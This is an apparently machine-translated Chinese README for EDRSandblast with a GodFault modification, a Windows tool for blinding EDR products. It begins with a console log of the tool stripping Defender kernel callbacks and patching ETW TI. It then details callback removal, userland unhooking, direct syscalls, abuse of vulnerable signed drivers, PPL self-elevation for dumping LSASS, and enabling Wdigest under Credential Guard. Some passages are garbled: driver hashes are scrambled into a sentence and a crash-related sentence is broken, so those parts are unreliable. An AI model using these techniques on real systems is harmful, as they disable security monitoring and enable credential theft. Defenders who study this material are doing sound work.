作者:Elastic Security 的 Gabriel Landau。 EDRSandblast 的修改 - 請參閱下方原始的自述文件。
將 GodFault 整合到 EDR Sandblast 中,無需使用任何易受攻擊的驅動程式即可達到相同的結果。
C:UsersuserDesktopOffsets>EDRSandblast.exe --kernelmode cmd
______ _____ _____ _____ _ _ _ _
| ____| __ | __ / ____| | | | | | | |
| |__ | | | | |__) | (___ __ _ _ __ __| | |__ | | __ _ ___| |_
| __| | | | | _ / ___ / _` | '_ / _` | '_ | |/ _` / __| __|
| |____| |__| | | ____) | (_| | | | | (_| | |_) | | (_| __ | |_
|______|_____/|_| _|_____/ __,_|_| |_|__,_|_.__/|_|__,_|___/__|
D3FC0N 30 Edition | Thomas DIOT (@_Qazeer) & Maxime MEIGNAN (@th3m4ks)
[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)
[===== KERNEL MODE =====]
[+] Setting up prerequisites for the kernel read/write primitives...
[+] Loading kernel related offsets from the CSV file
[*] System's ntoskrnl.exe file version is: ntoskrnl_22621-1702.exe
[+] Offsets are available for this version of ntoskrnl.exe (ntoskrnl_22621-1702.exe)!
[+] Checking if any EDR kernel notify rountines are set for image loading, process and thread creations...
[+] [NotifyRountines] Enumerating process creation callbacks
[+] Running command: GodFault.exe -t 2684
[?] Server does not appear to be running. Attempting to install it...
[+] CSRSS PID is 748
[+] Testing initial ability to acquire PROCESS_ALL_ACCESS to System: Failure
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] Thread 2684 (KTHREAD FFFF910961E4C080) has been blessed by GodFault
[+] [NotifyRountines] fffff8034df25500 [cng.sys + 0x5500]
[+] [NotifyRountines] fffff8034e9efdc0 [WdFilter.sys + 0x4fdc0]
[+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys
[+] [NotifyRountines] fffff803487bc460 [ksecdd.sys + 0x1c460]
[+] [NotifyRountines] fffff8034eff3fd0 [tcpip.sys + 0x13fd0]
[+] [NotifyRountines] fffff8034f5ed980 [iorate.sys + 0xd980]
[+] [NotifyRountines] fffff8034dea8890 [CI.dll + 0x88890]
[+] [NotifyRountines] fffff803525079f0 [dxgkrnl.sys + 0x179f0]
[+] [NotifyRountines] fffff80352be0a70 [vm3dmp.sys + 0x10a70]
[+] [NotifyRountines] fffff8036ebccd00 [peauth.sys + 0x3cd00]
[+] [NotifyRountines] fffff8036eda1550 [wtd.sys + 0x1550]
[+] [NotifyRountines] Found a total of 1 EDR / security products driver(s)
[+] [NotifyRountines] Enumerating thread creation callbacks
[+] [NotifyRountines] fffff8034e9f15c0 [WdFilter.sys + 0x515c0]
[+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys
[+] [NotifyRountines] fffff8034e9f1350 [WdFilter.sys + 0x51350]
[+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys
[+] [NotifyRountines] fffff8036eb71010 [mmcss.sys + 0x1010]
[+] [NotifyRountines] Found a total of 2 EDR / security products driver(s)
[+] [NotifyRountines] Enumerating image loading callbacks
[+] [NotifyRountines] fffff8034e9f0820 [WdFilter.sys + 0x50820]
[+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys
[+] [NotifyRountines] fffff80352ab5710 [ahcache.sys + 0x25710]
[+] [NotifyRountines] Found a total of 1 EDR / security products driver(s)
[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication...
[+] [ObjectCallblacks] Enumerating Process object callbacks :
[+] [ObjectCallblacks] Callback at FFFF800C5E2F2940 for handle creations & duplications:
[+] [ObjectCallblacks] Status: Enabled
[+] [ObjectCallblacks] Preoperation at 0xfffff8034e9eda30 [WdFilter.sys + 0x4da30]
[+] [ObjectCallblacks] Callback belongs to an EDR and is enabled!
[+] [ObjectCallblacks] Enumerating Thread object callbacks :
[+] [ObjectCallblacks] Object callbacks are present !
[+] [ETWTI] Checking the ETW Threat Intelligence Provider state...
[+] [ETWTI] ETW Threat Intelligence Provider is ENABLED!
[+] Process is NOT "safe" to launch our payload, removing monitoring and starting another process...
[+] [ETWTI] Disabling the ETW Threat Intel provider by patching ProviderEnableInfo at 0xffff91095ce8c430 with 0x00.
[+] [ETWTI] The ETW Threat Intel provider was successfully disabled!
[+] Removing kernel callbacks registered by EDR for process creation, thread creation and image loading...
[+] [NotifyRountines] Removing process creation callbacks
[+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c2a8 | callback struct: 0xffff91095dbf3a5f | callback function: 0xfffff8034e9efdc0]
[+] [NotifyRountines] Removing thread creation callbacks
[+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c4a0 | callback struct: 0xffff91095dbf3b1f | callback function: 0xfffff8034e9f15c0]
[+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c4a8 | callback struct: 0xffff91095dbf3b4f | callback function: 0xfffff8034e9f1350]
[+] [NotifyRountines] Removing image loading callbacks
[+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c6a0 | callback struct: 0xffff91095dbf3e4f | callback function: 0xfffff8034e9f0820]
[+] Disabling kernel callbacks registered by EDR for process and thread opening or handle duplication...
[+] [ObjectCallblacks] Disabling WdFilter.sys callback...
[+] All EDR drivers were successfully removed from Kernel callbacks!
==================================================
Starting a new unmonitored process...
==================================================
[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)
[===== KERNEL MODE =====]
[+] Setting up prerequisites for the kernel read/write primitives...
[+] Loading kernel related offsets from the CSV file
[*] System's ntoskrnl.exe file version is: ntoskrnl_22621-1702.exe
[+] Offsets are available for this version of ntoskrnl.exe (ntoskrnl_22621-1702.exe)!
[+] Checking if any EDR kernel notify rountines are set for image loading, process and thread creations...
[+] [NotifyRountines] Enumerating process creation callbacks
[+] Running command: GodFault.exe -t 8344
[+] Thread 8344 (KTHREAD FFFF91096169F080) has been blessed by GodFault
[+] Initial blessing successful
[+] [NotifyRountines] fffff8034df25500 [cng.sys + 0x5500]
[+] [NotifyRountines] fffff803487bc460 [ksecdd.sys + 0x1c460]
[+] [NotifyRountines] fffff8034eff3fd0 [tcpip.sys + 0x13fd0]
[+] [NotifyRountines] fffff8034f5ed980 [iorate.sys + 0xd980]
[+] [NotifyRountines] fffff8034dea8890 [CI.dll + 0x88890]
[+] [NotifyRountines] fffff803525079f0 [dxgkrnl.sys + 0x179f0]
[+] [NotifyRountines] fffff80352be0a70 [vm3dmp.sys + 0x10a70]
[+] [NotifyRountines] fffff8036ebccd00 [peauth.sys + 0x3cd00]
[+] [NotifyRountines] fffff8036eda1550 [wtd.sys + 0x1550]
[+] [NotifyRountines] No EDR driver(s) found!
[+] [NotifyRountines] Enumerating thread creation callbacks
[+] [NotifyRountines] fffff8036eb71010 [mmcss.sys + 0x1010]
[+] [NotifyRountines] No EDR driver(s) found!
[+] [NotifyRountines] Enumerating image loading callbacks
[+] [NotifyRountines] fffff80352ab5710 [ahcache.sys + 0x25710]
[+] [NotifyRountines] No EDR driver(s) found!
[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication...
[+] [ObjectCallblacks] Enumerating Process object callbacks :
[+] [ObjectCallblacks] Callback at FFFF800C5E2F2940 for handle creations & duplications:
[+] [ObjectCallblacks] Status: Disabled
[+] [ObjectCallblacks] Preoperation at 0xfffff8034e9eda30 [WdFilter.sys + 0x4da30]
[+] [ObjectCallblacks] Callback belongs to an EDR but is disabled.
[+] [ObjectCallblacks] Enumerating Thread object callbacks :
[+] [ObjectCallblacks] Object callbacks are not found !
[+] [ETWTI] Checking the ETW Threat Intelligence Provider state...
[+] [ETWTI] ETW Threat Intelligence Provider is DISABLED!
[+] Process is "safe" to launch our payload
[+] Kernel callbacks have normally been removed, starting cmd.exe
WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)
WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!
Microsoft Windows [Version 10.0.22621.1702]
(c) Microsoft Corporation. All rights reserved.
C:UsersuserDesktopOffsets>
?原始自述文件如下?
EDRSandBlast
是一個以C
編寫的工具,可將易受攻擊的簽章驅動程式武器化以繞過 EDR 偵測(通知例程回呼、物件回呼和ETW TI
提供者)和LSASS
保護。也實施了多種用戶態脫鉤技術來逃避用戶態監控。
自發布以來,用戶態 ( --usermode
) 和內核態 ( --kernelmode
) 技術的組合用於在 EDR 審查下轉儲LSASS
內存,而不會被阻止,也不會在產品中生成“操作系統憑證轉儲」相關事件(雲) ) 安慰。測試針對 3 種不同的 EDR 產品進行,且每種情況均取得成功。
EDR 產品使用 Windows 上的核心「通知例程」回呼來接收系統活動的核心通知,例如進程和執行緒的建立以及映像 ( exe
/ DLL
) 的載入。
這些核心回呼是從核心域定義的,通常是從實作回呼的驅動程式中使用許多記錄的 API( nt!PsSetCreateProcessNotifyRoutine
、 nt!PsSetCreateThreadNotifyRoutine
等)定義的。這些 API 將驅動程式提供的回呼例程新增至核心空間中未記錄的例程數組:
PspCreateProcessNotifyRoutine
用於進程創建PspCreateThreadNotifyRoutine
用於執行緒創建PspLoadImageNotifyRoutine
用於圖片加載EDRSandBlast
列舉這些數組中定義的例程,並刪除連結到預先定義的 EDR 驅動程式清單的任何回調例程(支援超過 1000 個安全產品驅動程序,請參閱 EDR 驅動程式偵測部分。透過利用利用易受攻擊的驅動程式提供的任意核心記憶體讀取/寫入原語(請參閱易受攻擊的驅動程式部分)。
上述數組的偏移量可以使用多種技術來恢復,請參閱偏移量部分。
EDR(甚至 EPP)產品通常透過使用nt!ObRegisterCallbacks
核心 API 來註冊「物件回調」。這些回調允許安全性產品在特定物件類型的每次句柄產生時收到通知(Windows 現在支援進程、執行緒和桌面相關的物件回呼)。句柄產生可能發生在物件開啟(呼叫OpenProcess
、 OpenThread
等)以及句柄複製(呼叫DuplicateHandle
等)時。
透過核心對這些操作中的每一個進行通知,安全性產品可以分析句柄創建的合法性(例如,未知進程試圖開啟 LSASS ),甚至在偵測到威脅時阻止它。
每次使用ObRegisterCallbacks
註冊回呼時,都會將一個新項目新增至_OBJECT_TYPE
物件中的CallbackList
雙鍊錶中,描述受回呼影響的物件類型(進程、執行緒或桌面)。不幸的是,這些項目是透過 Microsoft 未在符號檔案中記錄或發布的結構來描述的。然而,從不同的ntoskrnl.exe
版本研究它似乎表明,(至少)Windows 10 版本 10240 和 22000(從 2015 年到 2022 年)之間結構沒有改變。
上述代表對象回呼註冊的結構如下:
typedef struct OB_CALLBACK_ENTRY_t {
LIST_ENTRY CallbackList ; // linked element tied to _OBJECT_TYPE.CallbackList
OB_OPERATION Operations ; // bitfield : 1 for Creations, 2 for Duplications
BOOL Enabled ; // self-explanatory
OB_CALLBACK * Entry ; // points to the structure in which it is included
POBJECT_TYPE ObjectType ; // points to the object type affected by the callback
POB_PRE_OPERATION_CALLBACK PreOperation ; // callback function called before each handle operation
POB_POST_OPERATION_CALLBACK PostOperation ; // callback function called after each handle operation
KSPIN_LOCK Lock ; // lock object used for synchronization
} OB_CALLBACK_ENTRY ;
上述的OB_CALLBACK
結構也沒有文件記錄,其定義如下:
typedef struct OB_CALLBACK_t {
USHORT Version ; // usually 0x100
USHORT OperationRegistrationCount ; // number of registered callbacks
PVOID RegistrationContext ; // arbitrary data passed at registration time
UNICODE_STRING AltitudeString ; // used to determine callbacks order
struct OB_CALLBACK_ENTRY_t EntryItems [ 1 ]; // array of OperationRegistrationCount items
WCHAR AltitudeBuffer [ 1 ]; // is AltitudeString.MaximumLength bytes long, and pointed by AltitudeString.Buffer
} OB_CALLBACK ;
為了停用 EDR 註冊的物件回調, EDRSandblast
中實現了三種技術;但目前僅啟用一項。
OB_CALLBACK_ENTRY
的Enabled
字段這是EDRSandblast
中啟用的預設技術。為了偵測和停用與 EDR 相關的物件回調,需要瀏覽位於與Process和Thread類型相關的_OBJECT_TYPE
物件中的CallbackList
清單。兩個_OBJECT_TYPE
都由核心中的公共全域符號PsProcessType
和PsThreadType
指向。
假設清單中的每一項都符合上述OB_CALLBACK_ENTRY
結構(在撰寫本文時,這一假設似乎至少在所有 Windows 10 版本中都成立)。 PreOperation
和PostOperation
欄位中定義的函數用於檢查它們是否屬於 EDR 驅動程序,如果屬於,則只需切換Enabled
標誌即可停用回調。
雖然這是一種非常安全的技術,但它存在依賴未記錄結構的不便;為了降低對該結構進行不安全操作的風險,將執行基本檢查以驗證某些欄位是否具有預期值:
Enabled
不是TRUE
或FALSE
(別笑, BOOL
是int
,所以它可以是1
或0
以外的任何值);Operations
是OB_OPERATION_HANDLE_CREATE
、 OB_OPERATION_HANDLE_DUPLICATE
或兩者;ObjectType
指向PsProcessType
或PsThreadType
。 CallbackList
的鏈接另一種不依賴未記錄的結構(因此理論上對 NT 核心更改更穩健)的策略是取消進程和執行緒的整個CallbackList
連結。 _OBJECT_TYPE
物件如下:
struct _OBJECT_TYPE {
LIST_ENTRY TypeList ;
UNICODE_STRING Name ;
[...]
_OBJECT_TYPE_INITIALIZER TypeInfo ;
[...]
LIST_ENTRY CallbackList ;
}
讓CallbackList
LIST_ENTRY
的Flink
和Blink
指標指向LIST_ENTRY
本身,有效地讓清單為空。由於_OBJECT_TYPE
結構是在核心符號中發布的,因此該技術不依賴硬編碼的偏移量/結構。然而,它有一些缺點。
第一個是不能只停用 EDR 的回呼;事實上,該技術會影響所有可能由「合法」軟體註冊的物件回調。不過,應該注意的是,Windows 10 上的任何預安裝元件都不會使用物件回呼(在撰寫本文時),因此停用它們不應影響電腦的穩定性(如果停用只是暫時的,則更是如此) 。
第二個缺點是,在作業系統的正常運作中,行程或執行緒句柄操作非常頻繁(幾乎連續)。因此,如果使用的核心寫入原語無法「原子地」執行QWORD
寫入,則核心很有可能在覆蓋過程中存取_OBJECT_TYPE.CallbackList.Flink
指標。例如,MSI易受攻擊的驅動程式RTCore64.sys
一次只能執行DWORD
寫入,因此需要2個不同的IOCTL來覆蓋指針,在這段期間內核很有可能使用它(導致崩潰)。另一方面,易受攻擊的 DELL 驅動程式DBUtil_2_3.sys
可以在一個 IOCTL 中執行任意大小的寫入,因此使用此方法不會有導致崩潰的風險。
我們發現的最後一項技術是完全停用對執行緒和進程的物件回呼支援。在對應於進程和執行緒類型的_OBJECT_TYPE
結構內部,存在一個TypeInfo
字段,位於記錄的_OBJECT_TYPE_INITIALIZER
結構之後。後者包含一個ObjectTypeFlags
位元字段,其SupportsObjectCallbacks
標誌決定所描述的物件類型(進程、執行緒、桌面、令牌、檔案等)是否支援物件回調註冊。如前所述,在撰寫本文時,只有進程、執行緒和桌面物件類型支援 Windows 安裝上的這些回呼。
由於在讀取CallbackList
之前(當然也是在執行回調之前), ObpCreateHandle
或ObDuplicateObject
會檢查SupportsObjectCallbacks
位,因此在內核執行時翻轉該位元會有效地停用所有物件回調執行。
此方法的主要缺點是KPP (“ PatchGuard ”)監視某些(所有?)_ _OBJECT_TYPE
結構的完整性,並觸發0x109 Bug Check
,參數 4 等於0x8
,這表示物件類型結構已被更改。
然而,足夠快地執行停用/重新啟用(以及其間的「惡意」操作)應該足以「競賽」 PatchGuard (除非您不走運並且在錯誤的時刻執行了定期檢查)。
ETW Microsoft-Windows-Threat-Intelligence
提供者記錄有關某些常用惡意使用的 Windows API 的使用情況的資料。這包括nt!MiReadWriteVirtualMemory
API,由nt!NtReadVirtualMemory
(用於轉儲LSASS
記憶體)呼叫並由nt!EtwTiLogReadWriteVm
函數監視。
EDR 產品可以透過分別作為SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT
或PS_PROTECTED_ANTIMALWARE_LIGHT
運行的服務或進程來使用ETW TI
提供者產生的日誌,並與Early Launch Anti Malware (ELAM)
驅動程式關聯。
正如slaeryan
在CNO Development Labs
部落格文章中發布的那樣,可以透過在核心記憶體中將其ProviderEnableInfo
屬性修補為0x0
來完全停用ETW TI
提供者。有關該技術的更多信息,請參閱前面提到的精彩部落格文章。
與內核回呼刪除類似,在許多 Windows 核心版本的NtoskrnlOffsets.csv
檔案中計算必要的ntoskrnl.exe
偏移量( nt!EtwThreatIntProvRegHandleOffset
、 _ETW_REG_ENTRY
的GuidEntry
和_ETW_GUID_ENTRY
的ProviderEnableInfo
)。
為了輕鬆監控進程執行的操作,EDR 產品通常部署一種稱為userland hooking 的機制。首先,EDR 產品註冊一個核心回呼(通常是映像載入或進程建立回調,見上文),允許它們在每個進程啟動時收到通知。
當 Windows 載入進程時,在其實際啟動之前,EDR 能夠將一些自訂 DLL 注入進程位址空間,其中包含其監視邏輯。載入時,該 DLL 在 EDR 監視的每個函數的開頭注入「鉤子」。在運行時,當受監視的程序呼叫受監視的函數時,這些鉤子會將控制流重定向到 EDR DLL 中存在的某些監督程式碼,這允許它檢查這些呼叫的參數並傳回值。
大多數時候,受監控的函數是系統呼叫(例如NtReadVirtualMemory
、 NtOpenProcess
等),其實作駐留在ntdll.dll
中。攔截對Nt*
函數的呼叫允許產品盡可能接近用戶態/內核態邊界(同時保留在用戶態中),但也可能監視來自某些更高級別 DLL 的函數。
下面是相同功能的範例,在被 EDR 產品掛鉤之前和之後:
NtProtectVirtualMemory proc near
mov r10 , rcx
mov eax , 50h
test byte ptr ds : 7FFE0308h , 1
jnz short loc_18009D1E5
syscall
retn
loc_18009D1E5:
int 2Eh
retn
NtProtectVirtualMemory endp
NtProtectVirtualMemory proc near
jmp sub_7FFC74490298 ; --> "hook", jump to EDR analysis function
int 3 ; overwritten instructions
int 3 ; overwritten instructions
int 3 ; overwritten instructions
test byte_7FFE0308 , 1 ; <-- execution resumes here after analysis
jnz short loc_7FFCB44AD1E5
syscall
retn
loc_7FFCB44AD1E5:
int 2Eh
retn
NtProtectVirtualMemory endp
使用者態鉤子的「弱點」是位於使用者態記憶體中,這意味著它們可以被正在審查的進程直接觀察和修改。為了自動偵測進程位址空間中的鉤子,主要想法是比較磁碟上的原始 DLL 和駐留在記憶體中的程式庫(可能已被 EDR 更改)之間的差異。為了執行此比較,EDRSandblast 遵循以下步驟:
PEB
中的InLoadOrderModuleList
枚舉了所有已載入 DLL 的清單(以避免呼叫任何可能被監視和可疑的 API)注意:該過程可以推廣到在不可寫部分中的任何位置查找差異,而不僅僅是在導出函數的開始處,例如,如果 EDR 產品開始在函數中間應用掛鉤:) 因此該工具不會使用此功能已在findDiffsInNonWritableSections
中實作。
為了繞過這些鉤子執行的監視,可以使用多種技術,每種技術都有優點和缺點。
繞過基於鉤子的監控最直觀的方法就是刪除鉤子。由於鉤子存在於進程本身可存取的記憶體中,因此要刪除鉤子,進程可以簡單地:
這種方法相當簡單,可以用來一次刪除所有偵測到的鉤子。在開始時由攻擊性工具執行,這使得程式碼的其餘部分完全不知道掛鉤機制並在不受監控的情況下正常執行。
然而,它有兩個主要缺點。 EDR 可能正在監視NtProtectVirtualMemory
的使用,因此使用它來更改安裝了掛鉤的頁面的權限(至少在概念上)是一個壞主意。此外,如果 EDR 執行一個執行緒並定期檢查鉤子的完整性,這也可能會觸發一些偵測。
有關實作細節,請檢查unhook_method
為UNHOOK_WITH_NTPROTECTVIRTUALMEMORY
時unhook()
函數的程式碼路徑。
重要提示:為了簡單起見,該技術在 EDRSandblast 中實現,作為用於展示其他旁路技術的基本技術;它們每個都示範如何取得NtProtectVirtualMemory
的不受監控版本,但隨後執行相同的操作(取消特定掛鉤)。
要繞過特定的鉤子,可以簡單地「跳過」並按原樣執行函數的其餘部分。首先,必須從 DLL 檔案中恢復被 EDR 覆蓋以安裝掛鉤的受監視函數的原始位元組。在我們之前的程式碼範例中,這將是與以下指令對應的位元組:
mov r10 , rcx
mov eax , 50h
識別這些位元組是一項簡單的任務,因為我們能夠對庫的記憶體和磁碟版本執行乾淨的比較,如前所述。然後,我們組裝一條跳轉指令,該指令用於將控制流重定向到緊接在鉤子之後的程式碼,位址為NtProtectVirtualMemory + sizeof(overwritten_instructions)
jmp NtProtectVirtualMemory + 8
最後,我們連接這些操作碼,將它們儲存在(新的)可執行記憶體中並保留指向它們的指標。這個物件被稱為“彈跳床”,然後可以用作函數指針,嚴格相當於原始的NtProtectVirtualMemory
函數。
對於下面的每種技術來說,該技術的主要好處是鉤子永遠不會被擦除,因此 EDR 對鉤子執行的任何完整性檢查都應該通過。然而,它需要分配可寫可執行的內存,這是典型的 shellcode 分配,因此引起了 EDR 的審查。
有關實作細節,請檢查unhook_method
為UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE
時unhook()
函數的程式碼路徑。請記住,該技術僅在我們的實作中展示,並且最終用於從記憶體中刪除鉤子,正如下面的每項技術一樣。
EDR 產品為了使其掛鉤正常運作,必須將已刪除的操作碼儲存在記憶體中的某個位置。最糟糕(或從攻擊者的角度來看「更好」 ),為了有效地使用原始指令,EDR 可能會在攔截呼叫後為自己分配一個彈跳床來執行原始函數。
可以搜尋此彈跳床並將其用作掛鉤函數的替代品,而無需分配可執行內存,或呼叫除VirtualQuery
之外的任何 API,VirtualQuery 很可能不會被監控為無害函數。
為了找到記憶體中的彈跳床,我們使用VirtualQuery
瀏覽整個位址空間,尋找已提交和可執行的記憶體。對於每個這樣的記憶體區域,我們掃描它以查找跳躍指令,該指令的目標是被覆蓋指令後面的位址(在我們之前的範例中為NtProtectVirtualMemory+8
)。然後可以使用彈跳床來呼叫掛鉤函數而不觸發掛鉤。
這項技術的效果出乎意料地好,因為它可以恢復經過測試的 EDR 上的幾乎所有彈翻床。有關實作細節,請檢查unhook_method
為UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE
時unhook()
函數的程式碼路徑。
存取NtProtectVirtualMemory
函數的不受監控版本的另一個簡單方法是將ntdll.dll
庫的重複版本載入到進程位址空間中。由於兩個相同的 DLL 可以在同一進程中加載,只要它們具有不同的名稱,我們只需將合法的ntdll.dll
檔案複製到另一個位置,使用LoadLibrary
加載它(或重新實現加載過程),然後使用GetProcAddress
存取該函數例如。
這種技術非常容易理解和實現,並且成功的機會很大,因為大多數 EDR 產品在進程運行後不會在新加載的 DLL 上重新安裝掛鉤。然而,主要缺點是,以不同名稱複製 Microsoft 簽署的二進位檔案通常會被 EDR 產品視為可疑。
儘管如此,該技術還是在EDRSandblast
中實現。有關實作細節,請檢查unhook_method
為UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY
時unhook()
函數的程式碼路徑。
為了使用與系統呼叫相關的功能,一個程式可以重新實作系統呼叫(以彙編形式),以便呼叫對應的作業系統功能,而無需實際接觸ntdll.dll
中的程式碼,這可能會受到 EDR 的監控。這完全繞過了在ntdll.dll
中的系統呼叫函數上完成的任何使用者空間掛鉤。
然而這有一些缺點。首先,這意味著能夠知道程式所需的函數的系統呼叫號碼列表,該列表會因 Windows 的每個版本而異。儘管如此,透過實作已知在所有過去版本的 Windows NT 中都有效的多種啟發式方法(對ntdll
的Zw*
導出進行排序、搜尋 mov rax、相關ntdll
函數中的mov rax, #syscall_number
指令等)可以緩解這種情況,並且檢查它們都返回相同的結果(有關更多詳細信息,請參閱Syscalls.c
)。
此外,技術上不是系統呼叫的函數(例如LoadLibraryX
/ LdrLoadDLL
)也可以被監視,並且不能簡單地使用系統呼叫重新實現。
直接系統呼叫技術在 EDRSandblast 中實現。如前所述,它僅用於安全地執行NtProtectVirtualMemory
,並刪除所有偵測到的鉤子。
有關實作細節,請檢查unhook_method
為UNHOOK_WITH_DIRECT_SYSCALL
時unhook()
函數的程式碼路徑。
如前所述,需要內核記憶體讀取或寫入的每個操作都依賴易受攻擊的驅動程式來提供此原語。在 EDRSanblast 中,新增對提供讀取/寫入原語的新驅動程式的支援可以「輕鬆」完成,只需要實現三個功能:
ReadMemoryPrimitive_DRIVERNAME(SIZE_T Size, DWORD64 Address, PVOID Buffer)
函數,將Size
位元組從核心位址Address
複製到用戶態緩衝區Buffer
;WriteMemoryPrimitive_DRIVERNAME(SIZE_T Size, DWORD64 Address, PVOID Buffer)
函數,將Size
位元組從用戶態緩衝區Buffer
複製到核心位址Address
;CloseDriverHandle_DRIVERNAME()
確保驅動程式的所有句柄都已關閉(目前在與驅動程式無關的卸載操作之前需要)。例如,EDRSandblast DBUtils_2_3.sys
支援兩個驅動程式0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5
RTCore64.sys
(SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD
. 2613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5)。如果需要更改使用的易受攻擊的驅動程序,或實施新的驅動程序,則需要更新KernelMemoryPrimitives.h
中的以下程式碼。
#define RTCore 0
#define DBUtil 1
// Select the driver to use with the following #define
#define VULN_DRIVER RTCore
#if VULN_DRIVER == RTCore
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
#define CloseDriverHandle CloseDriverHandle_RTCore
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
#elif VULN_DRIVER == DBUtil
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
#define CloseDriverHandle CloseDriverHandle_DBUtil
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
#endif
目前使用多種技術來確定特定驅動程式或進程是否屬於 EDR 產品。
首先,驅動程式的名稱可以簡單地用於此目的。事實上,微軟為所有需要在核心中插入回調的驅動程式分配了稱為「高度」的特定數字。這允許回調執行中的確定順序,獨立於註冊順序,但僅基於驅動程式使用。可以在 MSDN 上找到已保留特定高度的驅動程式(供應商)清單。因此,Microsoft 提供了與安全產品相關的近乎全面的安全驅動程式名稱列表,主要在「FSFilter Anti-Virus」和「FSFilter Activity Monitor」列表中。這些驅動程式名稱清單以及其他貢獻都嵌入在 EDRSandblast 中。
此外,EDR 可執行檔和 DLL 通常使用供應商簽章憑證進行數位簽章。因此,檢查與進程關聯的可執行檔或 DLL 的簽署者可以快速識別 EDR 產品。
此外,驅動程式需要由 Microsoft 直接簽署才能允許載入到核心空間。雖然驅動程式的供應商不是驅動程式本身的直接簽署者,但供應商的名稱仍然包含在簽名的屬性中;然而,這種檢測技術仍有待研究和實施。
最後,當遇到 EDRSandblast 未知的 EDR 時,最好的方法是在「審核」模式下執行該工具,並檢查已註冊核心回呼的驅動程式清單;然後可以將驅動程式的名稱新增到清單中,重新編譯並重新執行該工具。
Local Security Authority (LSA) Protection
機制首次在 Windows 8.1 和 Windows Server 2012 R2 中引入,利用Protected Process Light (PPL)
技術來限制對LSASS
進程的存取。 PPL
保護調節和限制操作,例如受保護進程的記憶體注入或記憶體轉儲,甚至來自持有SeDebugPrivilege
權限的進程。在進程保護模型下,只有保護等級較高的進程才能對受保護的進程進行操作。
Windows 核心使用_EPROCESS
結構來表示核心記憶體中的進程,該結構包含一個_PS_PROTECTION
字段,該字段透過其Type
( _PS_PROTECTED_TYPE
) 和Signer
( _PS_PROTECTED_SIGNER
) 屬性定義進程的保護等級。
透過寫入核心內存,EDRSandblast 進程能夠將其自身的保護等級升級到PsProtectedSignerWinTcb-Light
。此等級足以轉儲LSASS
進程內存,因為它「支配」 PsProtectedSignerLsa-Light
(使用RunAsPPL
機制運行的LSASS
進程的保護等級)。
EDRSandBlast
實現自我保護如下:
NtQuerySystemInformation
來洩漏所有系統句柄,以尋找目前進程上開啟的句柄,以及目前進程的EPROCESS
結構在內核記憶體中的位址。Micro-Star MSI Afterburner
驅動程式的任意讀取/寫入漏洞覆蓋內核記憶體中目前進程的_PS_PROTECTION
欄位。 _PS_PROTECTION
欄位相對於EPROCESS
結構的偏移量(由使用中的ntoskrnl
版本定義)在NtoskrnlOffsets.csv
檔案中計算。 Microsoft Credential Guard
是一種基於虛擬化的隔離技術,在 Microsoft Windows 10 (Enterprise edition)
中引入,可防止直接存取LSASS
進程中儲存的憑證。
啟動Credentials Guard
後,會在Virtual Secure Mode
下建立LSAIso
( LSA 隔離)進程,該功能利用 CPU 的虛擬化擴充來提高記憶體中資料的安全性。即使使用NT AUTHORITYSYSTEM
安全上下文進行訪問,對LSAIso
進程的存取也會受到限制。處理雜湊時, LSA
進程對LSAIso
進程執行RPC
調用,並等待LSAIso
結果繼續。因此, LSASS
進程不會包含任何秘密,並且會儲存LSA Isolated Data
。
正如N4kedTurtle
進行的原始研究中所述:「可以透過修補記憶體中的g_fParameter_useLogonCredential
和g_IsCredGuardEnabled
的值,在具有 Credential Guard 的系統上啟用Wdigest
」。 Wdigest
的啟動將導致明文憑憑證儲存在LSASS
記憶體中,用於任何新的互動式登入(無需重新啟動系統)。有關此技術的更多詳細信息,請參閱原始研究部落格文章。
EDRSandBlast
只是讓原始 PoC 對操作安全更加友好,並為許多wdigest.dll
版本提供支援(透過g_fParameter_useLogonCredential
和g_IsCredGuardEnabled
的運算偏移量)。
為了可靠地執行內核監控繞過操作,EDRSandblast 需要確切地知道在哪裡讀取和寫入核心記憶體。這是透過使用目標映像(ntoskrnl.exe、wdigest.dll)內的全域變數的偏移量以及 Microsoft 在符號檔案中發布其定義的結構中特定欄位的偏移量來完成的。這些偏移量特定於目標映像的每個版本,並且必須針對特定平台版本至少收集一次。
選擇使用「硬編碼」偏移量而不是模式搜尋來定位EDRSandblast 使用的結構和變數是合理的,因為負責內核回調添加/刪除的未記錄的API 可能會發生變化,並且任何讀取或寫入內核的Blue Screen of Death
都會改變Bug Check
在紅隊和正常滲透測試場景中,機器崩潰都是不可接受的,因為崩潰的機器對於防御者來說是高度可見的,並且將丟失攻擊時仍在內存中的所有憑據。
為了檢索每個特定版本的 Windows 的偏移量,實作了兩種方法。
